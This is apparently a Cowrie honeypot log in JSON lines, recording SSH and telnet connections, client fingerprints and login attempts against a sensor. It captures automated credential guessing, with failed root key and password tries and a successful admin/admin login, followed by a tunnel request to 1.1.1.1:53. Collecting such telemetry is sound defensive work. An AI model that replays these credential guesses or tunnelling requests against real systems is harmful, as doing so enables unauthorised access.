{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50390,"dst_ip":"10.17.0.5","dst_port":23,"session":"739b60e5ea27","protocol":"telnet","message":"New connection: 152.42.224.71:50390 (10.17.0.5:23) [session: 739b60e5ea27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:18.353364Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":57142,"dst_ip":"159.203.135.109","dst_port":22,"session":"a104d54f182c","protocol":"ssh","message":"New connection: 46.19.67.181:57142 (159.203.135.109:22) [session: a104d54f182c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:23.317693Z"}
{"eventid":"cowrie.session.closed","duration":21.713894844055176,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:30.684372Z","src_ip":"152.42.224.71","session":"d8cf7c71d8a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57324,"dst_ip":"10.17.0.5","dst_port":23,"session":"de5a4960ebf0","protocol":"telnet","message":"New connection: 152.42.224.71:57324 (10.17.0.5:23) [session: de5a4960ebf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:36.350311Z"}
{"eventid":"cowrie.session.closed","duration":120.00200939178467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:43.572931Z","src_ip":"152.42.224.71","session":"53126cb60313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.183","src_port":48902,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c7c360d657","protocol":"ssh","message":"New connection: 208.87.242.183:48902 (10.17.0.5:22) [session: 61c7c360d657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:52.766834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:52.771527Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:52.840452Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:09:fd:cd:97:d8:13:cf:23:a3:55:7a:e9:08:53:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBxQoUUk2HTozmDB6WM6ImFrJLxakEPpzp65qsXurckujic2PCLVavUBDWyFFoc5wE9MzJNKHF0Bkp9DoNSZ0xpvRCnsqJzjL2VcEU5HN/z/dFTCtAeHKiUabKlZJMzvu1M4T0JymuCh+yIAmzPqvzjQUJZZNpem6YiQGcMFMykXkTnrl5OxeeyS+KaY5qZq+VjigPgqJ7a5lIyeAM6g+V48oMu2/TMpE6071gL7xUmISM1iLZl9gmhTHIuqD+QG2rj5ix67PbbeYwe1+nMubgzbH5CHMz4LJXSn76SPyl92RrXk0LlGVqXZeFn2sJ4Gmp1E3V1+/KyiWfkE0aUnW1eQ+VE2Ke0P4jlxjk2fliH15Hopnlivf4Nd9Dtd7cj+7oWPLPSSF475mDmkw5msuGdz4ocWnsrS3uK9hQSEqjwQo+aQeKtG60zu/FWPnHrp9ncQG14aR1btBZsJxQneNAQkm2sGxG/U+hrcEX2pnYD8Qu/EizTP8WXbqe3fjBFiUyPgJxyhOd1gn9qe3JGoK+dt4BYz5wjf8WgvXIU6fwc/ww05sPqYWUt9nz9DcViq2U75pkmMPFko9WenfjLh9DKaWM6M4KMIXgUEKtPP1RIn75j7lsy4U75tbx1VfNx14CR2z1YuG22qxqMWZWO5DvBRuOYA0eTgjBc2be5kz5Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:09:fd:cd:97:d8:13:cf:23:a3:55:7a:e9:08:53:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.164122Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:09:fd:cd:97:d8:13:cf:23:a3:55:7a:e9:08:53:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBxQoUUk2HTozmDB6WM6ImFrJLxakEPpzp65qsXurckujic2PCLVavUBDWyFFoc5wE9MzJNKHF0Bkp9DoNSZ0xpvRCnsqJzjL2VcEU5HN/z/dFTCtAeHKiUabKlZJMzvu1M4T0JymuCh+yIAmzPqvzjQUJZZNpem6YiQGcMFMykXkTnrl5OxeeyS+KaY5qZq+VjigPgqJ7a5lIyeAM6g+V48oMu2/TMpE6071gL7xUmISM1iLZl9gmhTHIuqD+QG2rj5ix67PbbeYwe1+nMubgzbH5CHMz4LJXSn76SPyl92RrXk0LlGVqXZeFn2sJ4Gmp1E3V1+/KyiWfkE0aUnW1eQ+VE2Ke0P4jlxjk2fliH15Hopnlivf4Nd9Dtd7cj+7oWPLPSSF475mDmkw5msuGdz4ocWnsrS3uK9hQSEqjwQo+aQeKtG60zu/FWPnHrp9ncQG14aR1btBZsJxQneNAQkm2sGxG/U+hrcEX2pnYD8Qu/EizTP8WXbqe3fjBFiUyPgJxyhOd1gn9qe3JGoK+dt4BYz5wjf8WgvXIU6fwc/ww05sPqYWUt9nz9DcViq2U75pkmMPFko9WenfjLh9DKaWM6M4KMIXgUEKtPP1RIn75j7lsy4U75tbx1VfNx14CR2z1YuG22qxqMWZWO5DvBRuOYA0eTgjBc2be5kz5Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.167777Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:f8:3a:cb:4f:19:87:fa:50:35:62:68:14:a6:07:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3gjcJSRXSUOH4di4o37BXBOcv56A9fwf0MnMJShyv79GNsDbj0izHmMi/DcpV+JOtxMbxivT8xxKyhMRZtsSgDWsnbOUiF5f4uZySNBl4bk/pafaZ6KBTcDbO9bicsW7Fau+3RosUw0hrAYtS52M3zNr6Hd8BplWdRk3Bdhyi0sMro0+7/DpxNii80DnoMBGme1PtSU/0lWC5cTP7vm8Akg2pFXLR30nLpZWZJWMscgphpSaGiElCFHZCB+k1IT3MsEUQhYHZNKmuvCe5vu6HhA6KuUHtiLzAdte7zotI4/R+8ZmYCxOb05nj0fAgdg4yq5CooxvCvfQQJziwNpFr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:f8:3a:cb:4f:19:87:fa:50:35:62:68:14:a6:07:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.243575Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:f8:3a:cb:4f:19:87:fa:50:35:62:68:14:a6:07:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3gjcJSRXSUOH4di4o37BXBOcv56A9fwf0MnMJShyv79GNsDbj0izHmMi/DcpV+JOtxMbxivT8xxKyhMRZtsSgDWsnbOUiF5f4uZySNBl4bk/pafaZ6KBTcDbO9bicsW7Fau+3RosUw0hrAYtS52M3zNr6Hd8BplWdRk3Bdhyi0sMro0+7/DpxNii80DnoMBGme1PtSU/0lWC5cTP7vm8Akg2pFXLR30nLpZWZJWMscgphpSaGiElCFHZCB+k1IT3MsEUQhYHZNKmuvCe5vu6HhA6KuUHtiLzAdte7zotI4/R+8ZmYCxOb05nj0fAgdg4yq5CooxvCvfQQJziwNpFr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.246719Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:39:4b:93:60:ce:78:e1:a0:3e:1c:26:56:fc:5f:ac","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFmyQJ8zaIki/kehUsfxCfA+v/2IP+7y4iFr5XjXzB+y","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:39:4b:93:60:ce:78:e1:a0:3e:1c:26:56:fc:5f:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.316093Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:39:4b:93:60:ce:78:e1:a0:3e:1c:26:56:fc:5f:ac","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFmyQJ8zaIki/kehUsfxCfA+v/2IP+7y4iFr5XjXzB+y","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.319858Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:3d:76:9e:cd:af:c6:74:4f:c5:ff:69:cb:64:13:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGrkcRyw05qEsbCpwLho9wcSKJrHNmxrBPEYZ/EX+dqcIXLv8RAnjSaJTu3CpIRxId39vK+ejDxzjbOkXw0BbTlMfa4esS/v1TB2Depfd9wQ1UqxJKGOZDsp7FRbhhDzP3JcpJcL7rShxd1vMl8E0mGqJctb/VrkIySUZw3V+62leaaNkd91X3Cne7rdJaSBPp9eX23Oh4wtN5GCJ4CADLONrS93AzKBd2TqT2GsD8LPHsLPwlJ24oxRxuOL0ODCyhWEoLfb0J3vStCHPy11eDxzRVh8/QyZVD47V+S/ItS3EW2piZ2kDJ2Y5Dxv0GEQvBNp2aHnzmt3qrhoeIjXFjQZlYg7oZZUBsS9gWpf3T3SPkBSP+YY1h/24DVWvJ1xSAGKP7vWBjYizHJ3+Qcp1ULoZmuAyPb9xTWNMGwjLqT7r8/umME3mw+yK5GvetHrlKV7MCZ3FmpyWbLxXD1hlJndcRHSMV5ng0L0EQeqzuK0Ebe53OTRweWmAi7gazkBL8FaWxWHfJIdcVEFOfPBL0ofJVZ6rMJuZNxicUHqZSp0aKNuBgIu/19ugHBTXsh/jQoSmmMhp8baad0kvmyKllKxqEPAfjbEaioNBdhSUXUk7C4iHXoa4Z3lYZneQBKOE44NJEHjnvqqX1bmqwHXsGETSksHUDJ9K9TRMJqCcoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:3d:76:9e:cd:af:c6:74:4f:c5:ff:69:cb:64:13:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.388528Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:3d:76:9e:cd:af:c6:74:4f:c5:ff:69:cb:64:13:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGrkcRyw05qEsbCpwLho9wcSKJrHNmxrBPEYZ/EX+dqcIXLv8RAnjSaJTu3CpIRxId39vK+ejDxzjbOkXw0BbTlMfa4esS/v1TB2Depfd9wQ1UqxJKGOZDsp7FRbhhDzP3JcpJcL7rShxd1vMl8E0mGqJctb/VrkIySUZw3V+62leaaNkd91X3Cne7rdJaSBPp9eX23Oh4wtN5GCJ4CADLONrS93AzKBd2TqT2GsD8LPHsLPwlJ24oxRxuOL0ODCyhWEoLfb0J3vStCHPy11eDxzRVh8/QyZVD47V+S/ItS3EW2piZ2kDJ2Y5Dxv0GEQvBNp2aHnzmt3qrhoeIjXFjQZlYg7oZZUBsS9gWpf3T3SPkBSP+YY1h/24DVWvJ1xSAGKP7vWBjYizHJ3+Qcp1ULoZmuAyPb9xTWNMGwjLqT7r8/umME3mw+yK5GvetHrlKV7MCZ3FmpyWbLxXD1hlJndcRHSMV5ng0L0EQeqzuK0Ebe53OTRweWmAi7gazkBL8FaWxWHfJIdcVEFOfPBL0ofJVZ6rMJuZNxicUHqZSp0aKNuBgIu/19ugHBTXsh/jQoSmmMhp8baad0kvmyKllKxqEPAfjbEaioNBdhSUXUk7C4iHXoa4Z3lYZneQBKOE44NJEHjnvqqX1bmqwHXsGETSksHUDJ9K9TRMJqCcoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.391693Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:0b:6d:37:d7:33:92:9c:40:95:a2:49:12:d3:61:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5FBaRi8yfCgwesPBHPPy75PXOX/bmI1WRldSmtZXcMhhrSczboLrBsXYuOX0VIARwPscwYfnucSagWElXRoShoyulBVYkTTPue8W2WTtrApCECORjjObox/8MyxOweclWMv53Nulo0hCNhFvvg74PNf1X/UsGA1A5xcO7+cOsp0EmtwW/5DEAOAfB3lqQc3UfbD0bYABQGX4w+r43yUdqUfk2QY71i3oWfoD9R0YjyUGcBYNPIEyhnRgKwkrGSXprrr3J9yQg6yzgxRw6A55MxnqNfZkVCIFnG2SPQHgsEoUK4t0+GwbRM47lCN7qs1AxoF5FbEv8E+S1ByjlLAKAz5+xjczrNEqTecKQFdRnOWBhs9xNybfZjaSrL1JY5VWulqJXfK/qgTKDPYxaz65V/sk7NorXVGQyC9g62dmIsa6ijsSptPsg45LBfB+/f8x3pEYvCmS294tpZmacEJqPI9peZUQgjN5W+WLXS8nS0qIgNScsUoMZoRndazk65ax+FufTMd+U/pk5KoMy34FRCpr/A9KA/sd2J+RVuM0fDsE38mGXMHWaGK8zJsnRqh+t7aw6wIC2UQ1+tsr5I8naYOkeXcZLRjRcabQhKQUmVrLp3bTlTph0n78PCL+oN4jTz/X8K5HB0FvvngVIClIkJu9JlfsU1RXvJEd1BLhnEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:0b:6d:37:d7:33:92:9c:40:95:a2:49:12:d3:61:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.460537Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:0b:6d:37:d7:33:92:9c:40:95:a2:49:12:d3:61:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5FBaRi8yfCgwesPBHPPy75PXOX/bmI1WRldSmtZXcMhhrSczboLrBsXYuOX0VIARwPscwYfnucSagWElXRoShoyulBVYkTTPue8W2WTtrApCECORjjObox/8MyxOweclWMv53Nulo0hCNhFvvg74PNf1X/UsGA1A5xcO7+cOsp0EmtwW/5DEAOAfB3lqQc3UfbD0bYABQGX4w+r43yUdqUfk2QY71i3oWfoD9R0YjyUGcBYNPIEyhnRgKwkrGSXprrr3J9yQg6yzgxRw6A55MxnqNfZkVCIFnG2SPQHgsEoUK4t0+GwbRM47lCN7qs1AxoF5FbEv8E+S1ByjlLAKAz5+xjczrNEqTecKQFdRnOWBhs9xNybfZjaSrL1JY5VWulqJXfK/qgTKDPYxaz65V/sk7NorXVGQyC9g62dmIsa6ijsSptPsg45LBfB+/f8x3pEYvCmS294tpZmacEJqPI9peZUQgjN5W+WLXS8nS0qIgNScsUoMZoRndazk65ax+FufTMd+U/pk5KoMy34FRCpr/A9KA/sd2J+RVuM0fDsE38mGXMHWaGK8zJsnRqh+t7aw6wIC2UQ1+tsr5I8naYOkeXcZLRjRcabQhKQUmVrLp3bTlTph0n78PCL+oN4jTz/X8K5HB0FvvngVIClIkJu9JlfsU1RXvJEd1BLhnEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.464181Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:53.534534Z","src_ip":"208.87.242.183","session":"61c7c360d657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.868770360946655,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:54.399490Z","src_ip":"152.42.224.71","session":"297547b27afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60636,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5048e309856","protocol":"ssh","message":"New connection: 51.250.105.222:60636 (159.203.135.109:22) [session: a5048e309856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:11.101407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:11.107133Z","src_ip":"51.250.105.222","session":"a5048e309856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:11.233909Z","src_ip":"51.250.105.222","session":"a5048e309856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"417f1c0ce60f","protocol":"telnet","message":"New connection: 152.42.224.71:39030 (10.17.0.5:23) [session: 417f1c0ce60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:11.549726Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin","message":"login attempt [root/valentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:11.609198Z","src_ip":"51.250.105.222","session":"a5048e309856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.33539128303528,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:12.688624Z","src_ip":"152.42.224.71","session":"739b60e5ea27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:12.737109Z","src_ip":"51.250.105.222","session":"a5048e309856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39170,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ac2394277a","protocol":"telnet","message":"New connection: 152.42.224.71:39170 (10.17.0.5:23) [session: 95ac2394277a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:21.368450Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20006,"dst_ip":"10.17.0.5","dst_port":22,"session":"f977b51aaaa3","protocol":"ssh","message":"New connection: 87.251.64.176:20006 (10.17.0.5:22) [session: f977b51aaaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:28.645503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:28.663507Z","src_ip":"87.251.64.176","session":"f977b51aaaa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:28.763788Z","src_ip":"87.251.64.176","session":"f977b51aaaa3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:29.339061Z","src_ip":"87.251.64.176","session":"f977b51aaaa3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:29.444914Z","session":"f977b51aaaa3","protocol":"ssh"}
